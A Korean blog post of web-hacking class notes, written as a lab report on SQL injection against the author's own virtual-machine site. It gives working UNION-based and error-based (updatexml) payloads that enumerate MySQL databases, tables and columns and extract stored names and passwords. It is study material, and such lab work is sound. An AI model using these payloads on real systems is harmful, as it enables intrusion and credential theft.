본문 바로가기
Web hacking/Nomaltic) 웹 해킹 수업 노트 👩‍💻

SQL injection 실습(보고서 작성)

by m_.9m 2022. 1. 13.

홈페이지 제작 완성이 미뤄짐에 따라 늦어졌던 보고서 작성

실습 사진 삽입하는 중 :)

실습 대상은 개인 가상머신 사이트입니다!

 

-----------------------------------------------------------------------------------------

 

 

취약점 찾기

홈페이지 파라미터 값에 특수문자나 임의의 SQL을 삽입함으로써 모든 진입점에 대해 반환을 수동으로 감지할 수 있다.

           - 피라미터: 사용자 입력 폼 또는 URL의 피라미터, 클릭 시 웹 프록시를 이용한 피라미터

           - 특수문자: ‘ 혹은

           - 임의의 SQL : SELECT, UNION, HAVING

mario ma ria, mario%' and '1%'='1 등을 사용해 키워드 검색이 되는지 확인해본다. 키워드 검색이 확인되면 접근 가능성이 생긴 것으로 판단한다.

그림 5. 키워드 검색 확인

 

Order by를 사용해 컬럼 개수 알아내기

데이터 베이스에 정보를 쿼리하려면 쿼리 중인 원래 테이블에 몇 개의 열이 있는지를 확인해야 한다. 이는 다음 명령어를 사용해 알 수 있다. ORDER BY의 숫자를 1부터 숫자를 에러가 나는 지점까지 늘려서 컬럼이 몇 개인지 확인한다.

 입력: mario' ORDER BY 1 #

해당 사이트에서는 ORDER BY 11부터 오류가 나는 것을 확인해 열이 10개 존재함을 유추할 수 있다.

그림 6. mario' ORDER BY 10 # 입력화면

 

그림 7. mario' ORDER BY 11 # 입력화면

 

데이터 출력 위치 알기

취약한 한 열을 식별해 해당 열에서 데이터를 추출할 수 있다. 해당 테이블에서10개의 열이 존재함을 알았기 때문에 10개의 값을 UNION SQL로 삽입해 출력이 되는 열을 확인한다.

그림 11. mario' union select 1,2,3,4,5,6,7,8,9,10 # 입력화면

 

삽입된 SQL 문에 의해서1,2,4,6,7 만 출력되는 것을 화면에서 확인한 후 해당 구문에 맞춰 select문을 삽입하면 데이터를 추출할 수 있다.

 

데이터 베이스 이름 알기

□ Oracle을 제외하고 대부분의 데이터 베이스 유형에는 데이터베이스에 대한 정보를 제공하는 정보 스키마라는 뷰 세트가 있다. 테이블의 이름을 기반으로 information_schema.columns를 쿼리하여 개별 테이블의 열을 나열할 수 있다.

오라클의 경우 all_tables를 쿼리해 테이블을 나열하고, all_tab_columns를 쿼리하여 열을 나열할 수 있다.

 

*현재 데이터베이스 이름 알기

입력: x' union select database(),2,3,4,5,6,7,8,9,10 #

그림 12-1.  x' union select database(),2,3,4,5,6,7,8,9,10 #  입 력화면

해당 SQL문을 삽입하면 출력이 가능했던 첫번째 열에 현재 데이터베이스 이름이 출력되는 것을 알 수 있다. 현재 데이터 베이스는 bbs임을 알 수 있다.

 

*전체 데이터베이스 이름 알기

입력: x' union select schema_name,2,3,4,5,6,7,8,9,10 from information_schema.schemata #

해당 SQL문을 삽입하면 출력이 가능했던 첫번째 열에 전체 데이터베이스 이름이 출력되는 것을 알 수 있다. 9개의 데이터베이스가 존재하는 것을 확인할 수 있다.

그림 12-2.  x' union select schema_name,2,3,4,5,6,7,8,9,10 from information_schema.schemata # 입력화면

 

테이블 이름 알기

입력: x'union select table_name,2,3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema = 'bbs' #

그림 13. x' union select table_name,2,3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema = 'bbs' #  입 력화면

 

데이터 베이스 이름 'bbs'를 활용해 테이블 이름을 구하는 식을 완성할 수 있다. 해당 SQL문을 삽입했을 때 4개의 테이블이 있는 것을 확인할 수 있다.

 

컬럼 이름 알기

MYSQL: infotmation_schema.columns column_name 컬럼

입력: x' union select column_name,2,3,4,5,6,7,8,9,10 from information_schema.columns where table_name='board’ #

 

  그림 14. x' union  select  column_name ,2 ,3,4,5,6,7,8,9,10 FROM information_schema.columns WHERE table_schema = 'board' #  입 력화면

 

추출한 테이블 이름을 기반으로 컬럼이름을 알 수 있다. ‘Board’ 부분을 원하는 테이블명으로 변경하면서 검색한다.

 

데이터 추출

 데이터 타입을 모르면

 %' UNION SELECT 1, null, null, null, null, null-
 %' UNION SELECT '1', null, null, null, null, null-

이렇게 문자 형식 '1' 아니면 숫자 형식 1를 하나하나 넣어보면서 해당 자리의 데이터 타입을 알아 봐야한다.

위에 취득한 정보들로 데이터를 추출할 수 있다.

입력: x' union select name,pw,3,4,5,6,7,8,9,10 from board #

그림 1 5 .  x' union select name,pw,3,4,5,6,7,8,9,10 from board #  입 력화면

해당 페이지 데이터 베이스 안에 있는 name, pw가 추출되는 것을 확인할 수있다.

 

 에러 메시지가 출력되는 곳에서 사용할 수 있고 문법을 지켜 논리 에러를 유발해야 한다. 논리 에러를 유발시키기 위한 updatexml, extractvalue와 같은 활용함수 사용해 공격을 수행한다.

개인 사이트에 mysql 에러를 출력하는 php문을 추가해준다.

è <?PHP echo("쿼리오류 발생: " . mysqli_error($conn)); ?>

Error 출력 확인

admin'를 입력해보고 에러 메세지가 출력되는 것을 확인한다.

 

그림  16. Admin’  입력 화면 .  에러 메시지 정상 출력 확인

 

Error 출력 활용 함수 선정 후 입력

입력:  1' and updatexml(null,concat(0x3a,(select 'test')),null) and '1'='1

 

데이터 베이스 이름 알기

*현재 데이터베이스 이름 알기

입력:  1' and updatexml(null,concat(0x3a,(select database())),null) and '1'='1을 삽입 시 member의 데이터베이스 이름을 알 수 있음.

 

 

그림 18. 입력 시 오류 화면

 

*전체 데이터베이스 이름 알기

입력:  1' and updatexml(null,concat(0x3a,(select schema_name from information_schema.schemata limit 0,1)),null) and '1'='1

 

Limit를 사용해 하나씩 추출해야 하며 함수 사용법은 limit n, m으로 n번째 데이터부터 m개만큼의 데이터를 출력하겠다는 의미이다.

 

테이블 이름 알기

입력: 1' and updatexml(null,concat(0x3a,(select table_name from information_schema.tables where table_schema='member' limit 0,1)),null) and '1'='1

 

컬럼 이름 알기

infotmation_schema.columns column_name컬럼을 활용한다.

입력: 1' and updatexml(null,concat(0x3a,(select column_name from information_schema.columns where table_name='member' limit 1,1)),null) and '1'='1

 

수행 결과 열의 개수와 해당 7개 열의 이름을 알아낼 수 있었다.

 

 

데이터 추출

입력: 1' and updatexml(null,concat(0x3a,(select pw from member limit 0,1)),null) and '1'='1

 

 수행결과 데이터 베이스 내의 개인정보(password)를 탈취할 수 있었다.